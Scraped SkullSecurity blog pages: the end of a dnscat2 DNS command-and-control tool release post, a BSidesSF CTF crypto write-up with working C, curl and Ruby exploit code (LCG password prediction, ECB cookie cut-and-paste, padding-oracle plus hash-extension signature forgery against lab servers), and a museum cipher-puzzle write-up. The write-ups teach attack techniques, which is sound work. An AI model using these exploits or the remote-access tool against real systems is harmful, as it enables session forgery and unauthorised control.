    command, it will free the socket. You can get a list of which
    sockets are being used with the 'tunnels' command!
    
    I realize this is super awkward.. don't worry, it'll get
    better next version! Stay tuned!
    

    If you know which session is the problem, it's pretty easy.. just kill it from the main window (Window 0 - press ctrl-z to get there):

    dnscat2> kill 1
    Session 1 has been sent the kill signal!
    Session 1 killed: No reason given
    

    If you don't know which session it is, you have to go into each session and run tunnels to figure out which one is holding the port open:

    dnscat2> session -i 1
    [...]
    command (ankh) 1> tunnels
    Tunnel listening on 0.0.0.0:2222
    Tunnel listening on 0.0.0.0:1234
    Tunnel listening on 0.0.0.0:4444
    

    Once that's done, you can either use the 'shutdown' command (if the session is still active) or go back to the main window and use the kill command.

    I realize that's super awkward, and I have a plan to fix it. It's going to require some refactoring, though, and it won't be ready for a few more days. And I really wanted to get this release out before Christmas!

    Implementation details

    As usual, the implementation is documented in detail in the protocol.md and command_protocol.md docs.

    Basically, I extended the "command protocol", which is the protocol that's used for commands like upload, download, ping, shell, exec, etc.

    Traditionally, the command protocol was purely the server making a request and the client responding to the request. For example, "download /etc/passwd" "okay, here it is". However, the tunnel protocol works a bit differently, because either side can send a request.

    Unfortunately, the client sending a request to the server, while it was something I'd planned and written code for, had a fatal flaw: there was no way to identify a request as a request, and therefore when the client sent a request to the server it had to rely on some rickety logic to determine if it was a request or not. As a result, I made a tough call: I broke compatibility by adding a one-bit "is a response?" field to the start of request_id - responses now have the left-most bit set of the request_id.

    At any time - presumably when a connection comes in, but we'll see what the future holds! - the server can send a TUNNEL_CONNECT request to the client, which contains a hostname and port number. That tells the client to make a connection to that host:port, which it attempts to do. If the connection is successful, the client responds with a TUNNEL_CONNECT response, which simply contains the tunnel_id.

    From then on, data can be sent in either direction using TUNNEL_DATA requests. This is the first time the client has been able to send a request to the server, and is also the first time a message was defined that doesn't have a response - neither side should (or can) respond to a TUNNEL_DATA message. Which is fine, because we have guaranteed delivery from lower level protocols.

    When either side decides to terminate the connection, it sends a TUNNEL_CLOSE request, which contains a tunnel_id and a reason string.

    One final implementation detail: tunnel_ids are local to a session.

    Future plans

    As I said at the start, I've implemented ssh -L. My next plans are to implement ssh -D (easysauce!) and ssh -R (hardersauce!). I also have some other fun ideas on what I can do with the tunnel protocol, so stay tuned for that. :)

    The tricky part about ssh -R is keeping it secure. The client shouldn't be able to arbitrarily forward connections via the server - the server should be able to handle malicious clients securely, at least by default. Therefore, it's going to require some extra planning and architecting!

    Conclusion

    And yeah, that's pretty much it! As always, if you like this blog or the work I'm doing on dnscat2, you can support me on Patreon! Seriously, I have no ads or monetization on my site, and I spend more money on hosting password lists than I make off it, so if you wanna be awesome and help out, I really, really appreciate it! :)

    And as always, I'm happy to answer questions or take feature requests! You're welcome to email me, reply to this blog, or file an issue on Github!

    3 thoughts on “dnscat2 0.05: with tunnels!

    1. Reply

      Cobalt

      Hey Ron, I noticed on your wiki password page that there are some password lists that say reserved. Are they reserved because they're too large to host?

    2. Reply

      cccsober

      could u please tell me
      how to download file from client to server?
      3q very much

    3. Reply

      Cornelius

      I have been able to connect the server and client, however, when I use the help command i get this list, Echo, Help , Kill, Quit, Start, Stop, Tunnels, Unset, Window, Windows.

      There is no session in this list, neither is it working when I tried to use it. How do I control the client machine or at the least do more that just being connected to the client machine.

      I need some directions on this please.

      Thanks.

    Leave a Reply

    Your email address will not be published.

     

    #####EOF##### Some crypto challenges: Author writeup from BSidesSF CTF » SkullSecurity


    Some crypto challenges: Author writeup from BSidesSF CTF

    Hey everybody,

    This is yet another author's writeup for BSidesSF CTF challenges! This one will focus on three crypto challenges I wrote: mainframe, mixer, and decrypto!

    mainframe - bad password reset

    mainframe, which you can view on the Github release immediately presents the player with some RNG code in Pascal:

      function msrand: cardinal;
      const
        a = 214013;
        c = 2531011;
        m = 2147483648;
      begin
        x2 := (a * x2 + c) mod m;
        msrand := x2 div 65536;
      end;
    

    If you reverse engineer that, or google a constant, you'll find that it's a pretty common random number generator called a Linear Congruential Generator. You can find a ton of implementations, including that one, on Rosetta Code.

    The text below that says:

    We don't really know how it's seeded, but we do know they generate password resets one byte at a time (12 bytes total) - rand() % 0xFF - and they don't change the seed in between.
    

    I had at least one question about that set up - since rand() % 0xFF at best can only be 255/256 possible values - but this is a CTF problem, right?

    To solve this, I literally implemented the gen_password() function in C (on the theory that it'll be fastest that way):

    int seed = 0;
    
    int my_rand() {
      seed = (214013 * seed + 2531011) & 0x7fffffff;
      return seed >> 16;
    }
    
    void gen_password(uint8_t buffer[12]) {
      uint32_t i;
    
      for(i = 0; i < 12; i++) {
        buffer[i] = my_rand() % 0xFF;
      }
    }
    
    void print_hex(uint8_t *hex) {
      uint32_t i;
      for(i = 0; i < 12; i++) {
        printf("%02x", hex[i]);
      }
    }
    

    Then called it for each possible seed:

      int index;
      for(index = 0x0; index < 0x7FFFFFFF; index++) {
        seed = index;
    
        gen_password(generated_pw);
    
        if(!memcmp(generated_pw, desired, 12)) {
          printf("Found it! Seed = %d\n", index);
          gen_password(generated_pw);
          printf("Next password: \n");
          print_hex(generated_pw);
          printf("\n");
          exit(0);
        }
      }
    

    Then I generated a test password: cfd55275b5d38beba9ab355b

    Put that into the program:

    $ ./solution cfd55275b5d38beba9ab355b
    ...
    Next password:
    126ab42e0de3d300260ff309
    

    And log in as root, thereby solving the question!

    In case you're curious, to implement this challenge I store the RNG seed in your local session. That way, people aren't stomping on each other's cookies!

    mixer - ECB block shuffle

    For the next challenge, mixer (Github link), you're presented with a login form with a first name, a last name, and an is_admin field. is_admin is set to 0, disabled, and isn't actually sent as part of the form submit. The goal is to switch on the is_admin flag in your cookie.

    When you log in, it sends the username and password as a GET request, and tells you to keep an eye on a certain cookie:

    $ curl -s --head 'http://localhost:1234/?action=login&first_name=test&last_name=test' | grep 'Set-Cookie: user='
    Set-Cookie: user=a3000ad8bfaa21b7b20797c3d480601af63df911b378cf9729a203ff65d35ee723e95cf1d27d3a01758d32ea42bd52bb9b4113cd881549cb3edbc20ca3077726; path=/; HttpOnly
    

    Unfortunately for the player, the cookie is encrypted! We can confirm this by passing in a longer name and seeing a longer cookie:

    $ curl -s --head 'http://localhost:1234/?action=login&first_name=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&last_name=test' | grep 'Set-Cookie'
    Set-Cookie: user=fbfaf2879c8e57b4ba623424c401915228bb743e365ba0dbe6987df8a6c3af9b28bb743e365ba0dbe6987df8a6c3af9b28bb743e365ba0dbe6987df8a6c3af9b1fa044b6e8a48ecb5f6ee54aa10f36c037010895d9a22f694c7b0b415dc22107029f9e0eb4236189e29044158b50c0d0; path=/; HttpOnly
    Set-Cookie: rack.session=BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiRWM3ZDY1NjRlNDFkMTkzODMxNWVi%0AYzFkYWZhNjljMGNkYWY3MzEzNTRiNzE0NmQ5NTRjZDQ0ODQxNTUwNmVjMGMG%0AOwBGSSIMYWVzX2tleQY7AEYiJe%2BrNKamgEXyzoed3PFi8cn7XWYz%2Fu0UnP9B%0AR1OIjrqX%0A; path=/; HttpOnly
    
    

    Not only is it longer, there's another important characteristic. If we break up the encrypted data into 128-bit blocks, we can see a pattern emerge:

    fbfaf2879c8e57b4ba623424c4019152
    28bb743e365ba0dbe6987df8a6c3af9b
    28bb743e365ba0dbe6987df8a6c3af9b
    28bb743e365ba0dbe6987df8a6c3af9b
    1fa044b6e8a48ecb5f6ee54aa10f36c0
    37010895d9a22f694c7b0b415dc22107
    029f9e0eb4236189e29044158b50c0d0
    

    Notice how the second, third, and fourth blocks encrypt to the same data? That tells us that we're likely looking at encryption in ECB mode - electronic codebook - where each block of data is independently encrypted.

    ECB mode has a useful property called "malleability". That means that the encrypted data can be changed in a controlled way, and the decrypted version of the data will reflect that change. Specifically, we can move blocks of data (16 bytes at a time) around - rearrange, delete, etc.

    We can confirm this by sending back a user cookie with only the repeated field, which we can assume is a full block of As: "AAAAAAAAAAAAAAAA", twice (we also include the rack.session cookie, which is required to keep state):

    $ export USER=28bb743e365ba0dbe6987df8a6c3af9b28bb743e365ba0dbe6987df8a6c3af9b
    $ export RACK=BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiRWM3ZDY1NjRlNDFkMTkzODMxNWVi%0AYzFkYWZhNjljMGNkYWY3MzEzNTRiNzE0NmQ5NTRjZDQ0ODQxNTUwNmVjMGMG%0AOwBGSSIMYWVzX2tleQY7AEYiJe%2BrNKamgEXyzoed3PFi8cn7XWYz%2Fu0UnP9B%0AR1OIjrqX%0A
    $ curl -s 'http://localhost:1234/' -H "Cookie: user=$USER; rack.session=$RACK" | grep Error
            

    Error parsing JSON: 765: unexpected token at 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'

    Well, we know it's JSON! And we successfully created new ciphertext - simply 32 A characters.

    If you mess around with the different blocks, you can eventually figure out that the JSON object encrypted in your cookie, if you choose "First Name" and "Last Name" for your names, looks like this:

    {"first_name":"First Name","last_name":"Last Name","is_admin":0}
    

    We can colour the blocks to see them more clearly:

    {"first_name":"F
    irst Name","last
    _name":"Last Nam
    e","is_admin":0}
    

    So the "First Name" string starts with one character in the first block, then finished in the second block. If we were to make the first name 17 characters, the first byte would be in the first block, and the second block would be entirely made up of the first name. Kinda like this:

    {"first_name":"A
    AAAAAAAAAAAAAAAA
    AAAAAAAAA","last
    _name":"Last Nam
    e","is_admin":0}
    

    Note how 100% of the second block is controlled by us. Since ECB blocks are encrypted independently, that means we can use that as a building-block to build whatever customer ciphertext we want!

    The only thing we can't use in a block is quotation marks, because they'll be escaped (unless we carefully ensure that the \ from the escape is in a separate block).

    If I set my first name to some JSON-like data:

    t:1}             est
    

    And the last name to "AA", it creates the encrypted blocks:

    {"first_name":"t
    :1}             
    est","last_name"
    :"AA","is_admin"
    :0}             
    

    Then we can do a little surgury, and replace the last block with the second block:

    {"first_name":"t
    :1}              <-- Moved from here...
    est","last_name"
    :"AA","is_admin"
    :1}              <-- ...to here
    

    Or, put together:

    {"first_name":"test","last_name":"AA","is_admin":1}             
    

    Or just:

    {"first_name":"test","last_name":"AA","is_admin":1}
    

    So now, with encrypted blocks, we do the same thing. First encrypt the name t:1}             est / AA (in curl, we have to backslash-escape the { and convert   to +):

    $ curl -s --head 'http://localhost:1234/?action=login&first_name=t:1\}+++++++++++++est&last_name=AA' | grep 'Set-Cookie'
    Set-Cookie: user=bb9f8c6b5224a3eebbfe923d31c3ed04c275c360f2a1321f9916ddc88a158d0e10c9e456be5b2e62e9709eb06b1f54a08f115ffefce89f2294fb29c2f2f32ecdc07be6f8d314073bbf780b2b7bbb5f80; path=/; HttpOnly
    Set-Cookie: rack.session=BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiRTExOGFmODMzMjE0ZTA4OWE0OWYy%0ANGYzOTI4MzY1ZWMxNTY0ZGIyMWZhYmZjYzNiNTM5OGQ1MDk4OTA1NGRkMzYG%0AOwBGSSIMYWVzX2tleQY7AEYiJUrTUZz8H7iqi4W5CXOsTV5z4MCP0DTS7ZeI%0A5n02%2B7Xb%0A; path=/; HttpOnly
    

    Then split the user cookie into blocks, like we did with the encrypted text:

    bb9f8c6b5224a3eebbfe923d31c3ed04
    c275c360f2a1321f9916ddc88a158d0e
    10c9e456be5b2e62e9709eb06b1f54a0
    8f115ffefce89f2294fb29c2f2f32ecd
    c07be6f8d314073bbf780b2b7bbb5f80
    

    We literally switch the blocks around like we did before:

    bb9f8c6b5224a3eebbfe923d31c3ed04
    c275c360f2a1321f9916ddc88a158d0e <-- Moved from here...
    10c9e456be5b2e62e9709eb06b1f54a0
    8f115ffefce89f2294fb29c2f2f32ecd
    c275c360f2a1321f9916ddc88a158d0e <-- ...to here
    

    Which gives us the new user cookie, which we combine with the rack.session cookie:

    $ export USER=bb9f8c6b5224a3eebbfe923d31c3ed0410c9e456be5b2e62e9709eb06b1f54a08f115ffefce89f2294fb29c2f2f32ecdc275c360f2a1321f9916ddc88a158d0e
    $ export RACK=BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiRTExOGFmODMzMjE0ZTA4OWE0OWYy%0ANGYzOTI4MzY1ZWMxNTY0ZGIyMWZhYmZjYzNiNTM5OGQ1MDk4OTA1NGRkMzYG%0AOwBGSSIMYWVzX2tleQY7AEYiJUrTUZz8H7iqi4W5CXOsTV5z4MCP0DTS7ZeI%0A5n02%2B7Xb%0A
    $ curl -s 'http://localhost:1234/' -H "Cookie: user=$USER; rack.session=$RACK" | grep Congrats
          <p>And it looks like you're admin, too! Congrats! Your flag is <span class='highlight'>CTF{is_fun!!uffling_block_sh}</span></p>
    

    And that's the challenge! We were able to take advantage of ECB's inherent malleability to change our JSON object to an arbitrary value.

    decrypto - padding oracle + hash extension

    The final crypto challenge I wrote was called decrypto (github link), since by that point I had entirely lost creativity, and is a combination of crypto vulnerabilities: a padding oracle and a hash extension. The goal was to demonstrate the classic Cryptographic Doom Principle, by checking the signature AFTER decrypting, instead of before.

    Like before, this challenge uses the user= cookie, but additionally the signature= cookie will need to be modified as well.

    Here are the cookies:

    $ curl -s --head 'http://localhost:1234/' | grep 'Set-Cookie'
    Set-Cookie: signature=e66764f9e71824ad37a46732fb49838e6b65a36bcb7235e9286f6ed5bd84dfa8; path=/; HttpOnly
    Set-Cookie: user=e71606ae685181fefb03ad69309e6ad6b8f6a2e0ecc1dd08215bdf27e90c7399e8100767eee43fb6f403d41c733b856b53accf9d755d830d244501b088190adb; path=/; HttpOnly
    Set-Cookie: rack.session=BAh7CEkiD3Nlc3Npb25faWQGOgZFVEkiRTE0ZDFlZWNmNjE5MjhhZTg3ZjQy%0AMzk5MGFhZjk0NGZiZDRkYjRjNTk1ODU0OTRkYzAyNzRlOWVjYmI1MGJmNGIG%0AOwBGSSILc2VjcmV0BjsARiINJB8WSMskiqBJIghrZXkGOwBGIiX%2Fz97Y3FAe%0AiIsMrhHmtd1Eh94IpIgj3FRdGcUcSKH0dg%3D%3D%0A; path=/; HttpOnly
    

    We'll have to maintain the rack.session cookie, since that's where our encryption keys are stored. We initially have no idea of what format the user= cookie decrypts to, and no matter how much you ask, I wasn't gonna tell you. You can, however, see a few fields if you look at the actual rendered page:

    Welcome to the mainframe!
    It looks like you want to access the flag!
    ...
    Please present user object
    ...
    ...scanning
    ...scanning
    ...
    Scanning user object...
    ...your UID value is set to 57
    ...your NAME value is set to baseuser
    ...your SKILLS value is set to n/a
    ...
    ERROR: ACCESS DENIED
    ...
    UID MUST BE '0'
    

    If we refresh, those values are still present, so we can assume that they're encoded into that value somehow. The cookie is, it turns out, exactly 64 bytes long.

    First, let's make sure we can properly request the page with curl:

    $ export RACK=BAh7CEkiD3Nlc3Npb25faWQGOgZFVEkiRTE0ZDFlZWNmNjE5MjhhZTg3ZjQy%0AMzk5MGFhZjk0NGZiZDRkYjRjNTk1ODU0OTRkYzAyNzRlOWVjYmI1MGJmNGIG%0AOwBGSSILc2VjcmV0BjsARiINJB8WSMskiqBJIghrZXkGOwBGIiX%2Fz97Y3FAe%0AiIsMrhHmtd1Eh94IpIgj3FRdGcUcSKH0dg%3D%3D%0A
    $ export SIGNATURE=e66764f9e71824ad37a46732fb49838e6b65a36bcb7235e9286f6ed5bd84dfa8
    $ export USER=e71606ae685181fefb03ad69309e6ad6b8f6a2e0ecc1dd08215bdf27e90c7399e8100767eee43fb6f403d41c733b856b53accf9d755d830d244501b088190adb
    $ curl -s 'http://localhost:1234/' -H "Cookie: user=$USER; signature=$SIGNATURE; rack.session=$RACK"
    [...]
       data.push("...your UID value is set to 52");
       data.push("...your NAME value is set to baseuser");
       data.push("...your SKILLS value is set to n/a");
    [...]
    

    One of the first things I always try when I see an encrypted-looking cookie is to change the last byte and see what happens. Now that we have a working curl request, let's try that:

    $ export RACK=BAh7CEkiD3Nlc3Npb25faWQGOgZFVEkiRTE0ZDFlZWNmNjE5MjhhZTg3ZjQy%0AMzk5MGFhZjk0NGZiZDRkYjRjNTk1ODU0OTRkYzAyNzRlOWVjYmI1MGJmNGIG%0AOwBGSSILc2VjcmV0BjsARiINJB8WSMskiqBJIghrZXkGOwBGIiX%2Fz97Y3FAe%0AiIsMrhHmtd1Eh94IpIgj3FRdGcUcSKH0dg%3D%3D%0A
    $ export SIGNATURE=e66764f9e71824ad37a46732fb49838e6b65a36bcb7235e9286f6ed5bd84dfa8
    $ export USER=e71606ae685181fefb03ad69309e6ad6b8f6a2e0ecc1dd08215bdf27e90c7399e8100767eee43fb6f403d41c733b856b53accf9d755d830d244501b088190ade
    $ curl -s 'http://localhost:1234/' -H "Cookie: user=$USER; signature=$SIGNATURE; rack.session=$RACK" | grep -i error
        data.push("FATAL ERROR: bad decrypt")
    

    The decrypt fails if we set the last byte wrong! What if we set it to each of the 256 possible bytes?

    $ export RACK=BAh7CEkiD3Nlc3Npb25faWQGOgZFVEkiRTE0ZDFlZWNmNjE5MjhhZTg3ZjQy%0AMzk5MGFhZjk0NGZiZDRkYjRjNTk1ODU0OTRkYzAyNzRlOWVjYmI1MGJmNGIG%0AOwBGSSILc2VjcmV0BjsARiINJB8WSMskiqBJIghrZXkGOwBGIiX%2Fz97Y3FAe%0AiIsMrhHmtd1Eh94IpIgj3FRdGcUcSKH0dg%3D%3D%0A
    $ export SIGNATURE=e66764f9e71824ad37a46732fb49838e6b65a36bcb7235e9286f6ed5bd84dfa8
    
    $ for i in `seq 0 255`; do export USER=e71606ae685181fefb03ad69309e6ad6b8f6a2e0ecc1dd08215bdf27e90c7399e8100767eee43fb6f403d41c733b856b53accf9d755d830d244501b088190a`printf '%02x' $i`; curl -s 'http://localhost:1234/' -H "Cookie: user=$USER; signature=$SIGNATURE; rack.session=$RACK" | grep -i 'error' | grep -v 'bad decrypt'; done
        data.push("FATAL ERROR: Bad signature!")
        data.push("ERROR: ACCESS DENIED");
    

    There are two errors that are NOT the usual "bad decrypt" one - one is "ACCESS DENIED" - our original - and the other is "Bad signature!". Hmm! This sounds an awful lot like a padding oracle vulnerability!

    Fortunately, I've written a tool for this!

    Here's my Poracle configuration file (just a file called Solution.rb in the same folder as Poracle.rb):

    # encoding: ASCII-8BIT
    
    ##
    # Demo.rb
    # Created: February 10, 2013
    # By: Ron Bowes
    #
    # A demo of how to use Poracle, that works against RemoteTestServer.
    ##
    
    require './Poracle'
    require 'httparty'
    require 'singlogger'
    require 'uri'
    
    # Note: set this to DEBUG to get full full output
    SingLogger.set_level_from_string(level: "DEBUG")
    L = SingLogger.instance()
    
    # 16 is good for AES and 8 for DES
    BLOCKSIZE = 16
    
    def request(cookies)
      return HTTParty.get(
        'http://localhost:1234/',
        follow_redirects: false,
        headers: {
          'Cookie' => "signature=#{cookies[:signature]}; user=#{cookies[:user]}; rack.session=#{cookies[:session]}"
        }
      )
    end
    
    def get_cookies()
      reset = HTTParty.head('http://localhost:1234/?action=reset', follow_redirects: false)
      cookies = reset.headers['Set-Cookie']
    
      return {
        signature: cookies.scan(/signature=([0-9a-f]*)/).pop.pop,
        user:      cookies.scan(/user=([0-9a-f]*)/).pop.pop,
        session:   cookies.scan(/rack\.session=([^;]*)/).pop.pop,
      }
    end
    
    # Get the initial set of cookies
    COOKIES = get_cookies()
    
    # This is the do_decrypt block - you'll have to change it depending on what your
    # service is expecting (eg, by adding cookies, making a POST request, etc)
    poracle = Poracle.new(BLOCKSIZE) do |data|
      cookies = COOKIES.clone()
      cookies[:user] = data.unpack("H*").pop
    
      result = request(cookies)
      #result.parsed_response.force_encoding("ASCII-8BIT")
    
      # Split the response and find any line containing error / exception / fail
      # (case insensitive)
      errors = result.parsed_response.split(/\n/).select { |l| l =~ /bad decrypt/i }
    
      # Return true if there are zero errors
      errors.empty?
    end
    
    data = COOKIES[:user]
    
    L.info("Trying to decrypt: %s" % data)
    
    # Convert to a binary string using pack
    data = [data].pack("H*")
    
    result = poracle.decrypt_with_embedded_iv(data)
    
    # Print the decryption result
    puts("-----------------------------")
    puts("Decryption result")
    puts("-----------------------------")
    puts result
    puts("-----------------------------")
    

    If I run it, it outputs:

    $ ruby ./Solution.rb
    I, [2019-03-10T14:57:29.516523 #24889]  INFO -- : Starting Poracle with blocksize = 16
    I, [2019-03-10T14:57:29.516584 #24889]  INFO -- : Trying to decrypt: 02e16b251f7077786a2bba0d82ce1e4fab04a1a088c681ed493156fb7ef14a7a20b0f63c99a74249f9c04192da896ae0b4105ea7e187de2d960ec95f5de6bbaa
    I, [2019-03-10T14:57:29.516604 #24889]  INFO -- : Grabbing the IV from the first block...
    I, [2019-03-10T14:57:29.519956 #24889]  INFO -- : Starting Poracle decryptor...
    D, [2019-03-10T14:57:29.520023 #24889] DEBUG -- : Encrypted length: 64
    D, [2019-03-10T14:57:29.520037 #24889] DEBUG -- : Blocksize: 16
    D, [2019-03-10T14:57:29.520047 #24889] DEBUG -- : 4 blocks:
    D, [2019-03-10T14:57:29.520070 #24889] DEBUG -- : Block 1: ["02e16b251f7077786a2bba0d82ce1e4f"]
    D, [2019-03-10T14:57:29.520085 #24889] DEBUG -- : Block 2: ["ab04a1a088c681ed493156fb7ef14a7a"]
    D, [2019-03-10T14:57:29.520098 #24889] DEBUG -- : Block 3: ["20b0f63c99a74249f9c04192da896ae0"]
    D, [2019-03-10T14:57:29.520110 #24889] DEBUG -- : Block 4: ["b4105ea7e187de2d960ec95f5de6bbaa"]
    ...
    [... lots of output ...]
    ...
    -----------------------------
    Decryption result
    -----------------------------
    UID 53
    NAME baseuser
    SKILLS n/a
    -----------------------------
    

    Aha, that's what the decrypted block looks like! Keep in mind that Poracle started its own session, so the values are different than they were earlier.

    What we want to do is append a UID 0 to the bottom:

    UID 53
    NAME baseuser
    SKILLS n/a
    UID 0
    

    But if we just use the padding oracle to encrypt that, we'll get an "Invalid Signature" error. Fortunately, this is also vulnerable to hash length extension! And, also fortunately, I wrote a tool for this, too, along with a super detailed blog about the attack!

    I added the following code to the bottom of Solution.rb:

    # Write it to a file
    File.open("/tmp/decrypt", "wb") do |f|
      f.write(result)
    end
    
    # Call out to hash_extender and pull out the new data
    append = "\nUID 0\n".unpack("H*").pop
    out = `./hash_extender --file=/tmp/decrypt -s #{COOKIES[:signature]} -a '#{append}' --append-format=hex -f sha256 -l 8`
    new_signature = out.scan(/New signature: ([0-9a-f]*)/).pop.pop
    new_data = out.scan(/New string: ([0-9a-f]*)/).pop.pop
    

    This dumps the decrypted data to a file, /tmp/decrypt. It then appends "\nUID 0\n" using hash_extender, and grabs the new signature/data.

    Then, finally, we add a call to poracle.encrypt to re-encrypt the data:

    # Call out to Poracle to encrypt the new data
    new_encrypted_data = poracle.encrypt([new_data].pack('H*'))
    
    # Perform the request to get the flag
    cookies = COOKIES.clone
    cookies[:user] = new_encrypted_data.unpack("H*").pop
    cookies[:signature] = new_signature
    puts(request(cookies))
    

    If you let the whole thing run, you'll first note that the encryption takes a whole lot longer than the decryption did. That's because it can't optimize for "probably English letters" going that way.

    But eventually, it'll finish and print out the whole page, including:

    ...
      data.push("...your UID value is set to 0");
      data.push("...your NAME value is set to baseuser");
      data.push("...your SKILLS value is set to n/a");
      data.push("...your �@ value is set to ");
      data.push("FLAG VALUE: <span class='highlight'>CTF{parse_order_matters}</span></p>");
    ...
    

    And that's the end of the crypto challenges! Definitely read my posts on padding oracles and hash extension, since I dive into deep detail!

    Leave a Reply

    Your email address will not be published.

     

    #####EOF##### January » 2013 » SkullSecurity

    A padding oracle example

    Early last week, I posted a blog about padding oracle attacks. I explained them in detail, as simply as I could (without making diagrams, I suck at diagrams). I asked on Reddit about how I could make it easier to understand, and JoseJimeniz suggested working through an example. I thought that was a neat idea, […]

    Padding oracle attacks: in depth

    This post is about padding oracle vulnerabilities and the tool for attacking them - "Poracle" I'm officially releasing right now. You can grab the Poracle tool on Github! At my previous job — Tenable Network Security — one of the first tasks I ever had was to write a vulnerability check for MS10-070 — a […]

    #####EOF##### SANS Hackfest writeup: Hackers of Gravity » SkullSecurity


    SANS Hackfest writeup: Hackers of Gravity

    Last weekA few weeks ago, SANS hosted a private event at the Smithsonian's Air and Space Museum as part of SANS Hackfest. An evening in the Air and Space Museum just for us! And to sweeten the deal, they set up a scavenger hunt called "Hackers of Gravity" to work on while we were there!

    We worked in small teams (I teamed up with Eric, who's also writing this blog with me). All they told us in advance was to bring a phone, so every part of this was solved with our phones and Google.

    Each level began with an image, typically with a cipher embedded in it. After decoding the cipher, the solution and the image itself were used together to track down a related artifact.

    This is a writeup of that scavenger hunt. :)

    Challenge 1: Hacker of Tenacity

    The order of the challenges was actually randomized, so this may not be the order that anybody else had (homework: there are 5040 possible orderings of challenges, and about 100 people attending; what are the odds that two people had the same order? The birthday paradox applies).

    The first challenge was simply text:

    Sometimes tenacity is enough to get through a difficult challenge. This Hacker of Gravity never gave up and even purposefully created discomfort to survive their challenge against gravity. Do you possess the tenacity to break this message? 
    
    T05ZR1M0VEpPUlBXNlpTN081VVdHMjNGT0pQWEdaTEJPUlpRPT09PQ==
    

    Based on the character set, we immediately recognized it as Base64. We found an online decoder and it decoded to:

    ONYGS4TJORPW6ZS7O5UWG23FOJPXGZLBORZQ====

    
    We recognized that as Base32 - Base64 will never have four "====" signs at the end, and Base32 typically only contains uppercase characters and numbers. (Quick plug: I'm currently working on Base32 support for dnscat2, which is another reason I quickly recognized it!)

    Anyway, the Base32 version decoded to spirit_of_wicker_seats, and Eric recognized "Spirit" as a possible clue and searched for "Spirit of St Louis Wicker Seats", which revealed the following quote from the Wikipedia article on the Spirit of St. Louis: "The stiff wicker seat in the cockpit was also purposely uncomfortable".

    The Spirit of St. Louis was one of the first planes we spotted, so we scanned the QR code and found the solution: lots_of_fuel_tanks!

    Challenge 2: Hacker of Navigation

    We actually got stuck on the second challenge for awhile, but eventually we got an idea of how these challenges tend to work, after which we came back to it.

    We were given a fragment of a letter:

    The museum archives have located part of a letter in an old storage locker from some previously lost collection. They'd REALLY like your help finding the author.

    You'll note at the bottom-left corner it implies that "A = 50 degrees". We didn't notice that initially. :)

    What we did notice was that the degrees were all a) multiples of 10, and b) below 260. That led us to believe that they were numbered letters, times ten (so A = 10, B = 20, C = 30, etc).

    The numbers were: 100 50 80 90 80 100 50 230 120 130 190 180 130 230 240 50.

    Dividing by 10 gives 10 5 8 9 8 10 5 23 12 13 19 18 13 23 24 5.

    Converting that to the corresponding letters gave us JEHIH JEWLMSRMWXE. Clearly not an English sentence, but it looks like a cryptogram (JEHIH looks like "THERE" or "WHERE").

    That's when we noticed the "A = 50" in the corner, and realized that things were probably shifted by 5. Instead of manually converting it, we found a shift cipher bruteforcer that we could use. The result was: FADED FASHIONISTA

    Searching for "Faded Fashionista Air and Space" led us to this Smithsonian Article: Amelia Earhart, Fashionista. Neither of us knew where her exhibit was, but eventually we tracked it down on the map and walked around it until we found her Lockheed Vega, the QR code scanned to amelias_vega.

    Challenge 3: Hacker of Speed

    This was an image of some folks ready to board a plane or something:

    This super top secret photo has been censored. The security guys looked at this SO fast, maybe they missed something?

    Because of the hint, we started looking for mistakes in the censoring and noticed that they're wearing boots that say "X-15":

    We found pictures of the X-15 page on the museum's Web site and remembered seeing the plane on the 2nd floor. We reached the artifact and determined that the QR code read faster_than_superman.

    Once we got to the artifact, we noticed that we hadn't broken the code yet. Looking carefully at the image, we saw the text at the bottom, nbdi_tjy_qpjou_tfwfo_uxp.

    As an avid cryptogrammer, I recognized tfwfo as likely being "never". Since 'e' is one character before 'f', it seemed likely that it was a single shift ('b'->'a', 'c'->'b', etc). I mentally shifted the first couple letters of the sentence, and it looked right, so I did the entire string while Eric wrote it down: mach_six_point_seven_two.

    The funny thing is, the word was "seven", not "never", but the "e"s still matched!

    Challenge 4: Hacker of Design

    While researching some physics based penetration testing, you find this interesting diagram. You feel like you've seen this device before... maybe somewhere or on something in the Air and Space museum?

    The diagram reminded Eric of an engine he saw on an earlier visit, we found the artifact on the other side of the museum:

    Unfortunately there was no QR code so we decided to work on decoding the challenge to discover the location of the artifact.

    Now that we'd seen the hint on Challenge 2, we were more prepared for a diagram to help us! In this case, it was a drawing of an atom and the number "10". We concluded that the numbers probably referred to the atomic weight for elements on the periodic table, and converted them as such:

    10=>Ne
    74=>W
    ... and so on.

    After decoding the full string, we ended up with:

    new_plan_schwalbe

    We actually made a mistake in decoding the string, but managed to find it anyways thanks to search autocorrect. :)

    After searching for "schwalbe air and space", we found this article, which led us to the artifact: the Messerschmitt Me 262 A-1a Schwalbe (Swallow). The QR code scanned revealed the_swallow.

    Challenge 5: Hacker of Distance

    While at the bar, listening to some Dual Core, planning your next conference-fest with some fellow hackers, you find this interesting napkin. Your mind begins to wander. Why doesn't Dual Core have a GOLDEN RECORD?! Also, is this napkin trying to tell you something in a around-about way?

    The hidden text on this one was obvious… morse code! Typing the code into a phone (not fun!), we ended up with .- -.. .- ... - .-. .- .--. . .-. .- ... .--. . .-. .-, which translates to ADASTRAPERASPERA

    According to Google, that slogan is used by a thousand different organizations, none of which seemed to be space or air related. However, searching for "Golden Record Air and Space" returned several results for the Voyager space probe. We looked at our map and scurried to the exhibit on the other side of the museum:

    Once we made it to the exhibit finding the QR code was easy, scanning it revealed, the_princess_is_in_another_castle. The decoy flag!

    We tried searching keywords from the napkin but none of the results seemed promising. After a few frustrating minutes we saw the museum banquet director and asked him for help. He told us that the plane we were looking for was close to the start of the challenge, we made a dash for the first floor and found the correct Voyager exhibit:

    Scanning the QR code revealed the code, missing_canards.

    Challenge 6: Hacker of Guidance

    The sixth challenge gave us a map with some information:

    You have intercepted this map that appears to target something. The allies would really like to know the location of the target. Also, they'd like to know what on Earth is at that location.

    We immediately noticed the hex-encoded numbers on the left:

    35342e3133383835322c
    31332e373637373235
    

